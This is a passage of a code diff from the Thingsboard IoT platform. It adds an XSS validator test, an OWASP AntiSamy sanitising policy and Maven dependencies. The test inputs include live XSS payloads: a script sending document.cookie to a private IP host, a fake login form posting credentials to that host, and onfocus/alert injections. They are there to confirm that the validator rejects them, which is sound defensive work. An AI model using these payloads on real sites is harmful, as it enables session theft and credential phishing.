"qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy",
|
||||
"bambam<script>alert(document.cookie)</script>",
|
||||
"<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221",
|
||||
"<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>",
|
||||
" <img src= \"http://site.com/\" > ",
|
||||
"123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe",
|
||||
})
|
||||
public void testIsNotValid(String stringWithXss) {
|
||||
boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class));
|
||||
assertFalse(isValid);
|
||||
}
|
||||
|
||||
}
|
||||
162
dao/src/test/resources/xss-policy.xml
Normal file
162
dao/src/test/resources/xss-policy.xml
Normal file
@ -0,0 +1,162 @@
|
||||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<!--
|
||||
|
||||
Copyright © 2016-2021 The Thingsboard Authors
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
|
||||
-->
|
||||
<anti-samy-rules>
|
||||
|
||||
<directives>
|
||||
<directive name="omitXmlDeclaration" value="true"/>
|
||||
<directive name="omitDoctypeDeclaration" value="false"/>
|
||||
<directive name="maxInputSize" value="100000"/>
|
||||
<directive name="embedStyleSheets" value="false"/>
|
||||
<directive name="useXHTML" value="true"/>
|
||||
<directive name="formatOutput" value="true"/>
|
||||
</directives>
|
||||
|
||||
<common-regexps>
|
||||
|
||||
<!--
|
||||
From W3C:
|
||||
This attribute assigns a class name or set of class names to an
|
||||
element. Any number of elements may be assigned the same class
|
||||
name or names. Multiple class names must be separated by white
|
||||
space characters.
|
||||
-->
|
||||
<regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/>
|
||||
|
||||
<!-- force non-empty with a '+' at the end instead of '*'
|
||||
-->
|
||||
<regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/>
|
||||
|
||||
<!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+)
|
||||
-->
|
||||
|
||||
<!-- ([\p{L}/ 0-9&\#-.?=])*
|
||||
-->
|
||||
<regexp name="offsiteURL"
|
||||
value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/>
|
||||
</common-regexps>
|
||||
|
||||
<common-attributes>
|
||||
|
||||
<attribute name="lang"
|
||||
description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
|
||||
|
||||
<regexp-list>
|
||||
<regexp value="[a-zA-Z]{2,20}"/>
|
||||
</regexp-list>
|
||||
</attribute>
|
||||
|
||||
<attribute name="title"
|
||||
description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
|
||||
|
||||
<regexp-list>
|
||||
<regexp name="htmlTitle"/>
|
||||
</regexp-list>
|
||||
</attribute>
|
||||
|
||||
<attribute name="href" onInvalid="filterTag">
|
||||
|
||||
<regexp-list>
|
||||
<regexp name="onsiteURL"/>
|
||||
<regexp name="offsiteURL"/>
|
||||
</regexp-list>
|
||||
</attribute>
|
||||
|
||||
<attribute name="align"
|
||||
description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
|
||||
|
||||
<literal-list>
|
||||
<literal value="center"/>
|
||||
<literal value="left"/>
|
||||
<literal value="right"/>
|
||||
<literal value="justify"/>
|
||||
<literal value="char"/>
|
||||
</literal-list>
|
||||
</attribute>
|
||||
<attribute name="style"
|
||||
description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
|
||||
</common-attributes>
|
||||
|
||||
<global-tag-attributes>
|
||||
<attribute name="title"/>
|
||||
<attribute name="lang"/>
|
||||
<attribute name="style"/>
|
||||
</global-tag-attributes>
|
||||
|
||||
<tags-to-encode>
|
||||
<tag>g</tag>
|
||||
<tag>grin</tag>
|
||||
</tags-to-encode>
|
||||
|
||||
<tag-rules>
|
||||
|
||||
<tag name="script" action="remove"/>
|
||||
<tag name="noscript" action="remove"/>
|
||||
<tag name="iframe" action="remove"/>
|
||||
<tag name="frameset" action="remove"/>
|
||||
<tag name="frame" action="remove"/>
|
||||
<tag name="noframes" action="remove"/>
|
||||
<tag name="head" action="remove"/>
|
||||
<tag name="title" action="remove"/>
|
||||
<tag name="base" action="remove"/>
|
||||
<tag name="style" action="remove"/>
|
||||
<tag name="link" action="remove"/>
|
||||
<tag name="input" action="remove"/>
|
||||
<tag name="textarea" action="remove"/>
|
||||
|
||||
<tag name="br" action="remove"/>
|
||||
|
||||
<tag name="p" action="remove"/>
|
||||
<tag name="div" action="remove"/>
|
||||
<tag name="span" action="remove"/>
|
||||
<tag name="i" action="remove"/>
|
||||
<tag name="b" action="remove"/>
|
||||
<tag name="strong" action="remove"/>
|
||||
<tag name="s" action="remove"/>
|
||||
<tag name="strike" action="remove"/>
|
||||
<tag name="u" action="remove"/>
|
||||
<tag name="em" action="remove"/>
|
||||
<tag name="blockquote" action="remove"/>
|
||||
<tag name="tt" action="remove"/>
|
||||
|
||||
<tag name="a" action="remove"/>
|
||||
|
||||
<tag name="ul" action="remove"/>
|
||||
<tag name="ol" action="remove"/>
|
||||
<tag name="li" action="remove"/>
|
||||
<tag name="dl" action="remove"/>
|
||||
<tag name="dt" action="remove"/>
|
||||
<tag name="dd" action="remove"/>
|
||||
</tag-rules>
|
||||
|
||||
<css-rules>
|
||||
<property name="text-decoration" default="none"
|
||||
description="">
|
||||
|
||||
<category-list>
|
||||
<category value="visual"/>
|
||||
</category-list>
|
||||
|
||||
<literal-list>
|
||||
<literal value="underline"/>
|
||||
<literal value="overline"/>
|
||||
<literal value="line-through"/>
|
||||
</literal-list>
|
||||
</property>
|
||||
</css-rules>
|
||||
</anti-samy-rules>
|
||||
41
pom.xml
41
pom.xml
@ -47,6 +47,7 @@
|
||||
<jjwt.version>0.7.0</jjwt.version>
|
||||
<json-path.version>2.2.0</json-path.version>
|
||||
<junit.version>4.12</junit.version>
|
||||
<jupiter.version>5.7.1</jupiter.version>
|
||||
<slf4j.version>1.7.7</slf4j.version>
|
||||
<logback.version>1.2.3</logback.version>
|
||||
<mockito.version>3.3.3</mockito.version>
|
||||
@ -113,6 +114,10 @@
|
||||
<protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version>
|
||||
<wire-schema.version>3.4.0</wire-schema.version>
|
||||
<twilio.version>7.54.2</twilio.version>
|
||||
<hibernate-validator.version>6.0.13.Final</hibernate-validator.version>
|
||||
<javax.el.version>3.0.0</javax.el.version>
|
||||
<javax.validation-api.version>2.0.1.Final</javax.validation-api.version>
|
||||
<antisamy.version>1.6.2</antisamy.version>
|
||||
</properties>
|
||||
|
||||
<modules>
|
||||
@ -1261,6 +1266,12 @@
|
||||
<version>${junit.version}</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.junit.jupiter</groupId>
|
||||
<artifactId>junit-jupiter-params</artifactId>
|
||||
<version>${jupiter.version}</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.dbunit</groupId>
|
||||
<artifactId>dbunit</artifactId>
|
||||
@ -1458,6 +1469,36 @@
|
||||
</exclusion>
|
||||
</exclusions>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.hibernate.validator</groupId>
|
||||
<artifactId>hibernate-validator</artifactId>
|
||||
<version>${hibernate-validator.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.glassfish</groupId>
|
||||
<artifactId>javax.el</artifactId>
|
||||
<version>${javax.el.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>javax.validation</groupId>
|
||||
<artifactId>validation-api</artifactId>
|
||||
<version>${javax.validation-api.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.owasp.antisamy</groupId>
|
||||
<artifactId>antisamy</artifactId>
|
||||
<version>${antisamy.version}</version>
|
||||
<exclusions>
|
||||
<exclusion>
|
||||
<groupId>org.slf4j</groupId>
|
||||
<artifactId>*</artifactId>
|
||||
</exclusion>
|
||||
<exclusion>
|
||||
<groupId>com.github.spotbugs</groupId>
|
||||
<artifactId>spotbugs-annotations</artifactId>
|
||||
</exclusion>
|
||||
</exclusions>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
</dependencyManagement>
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user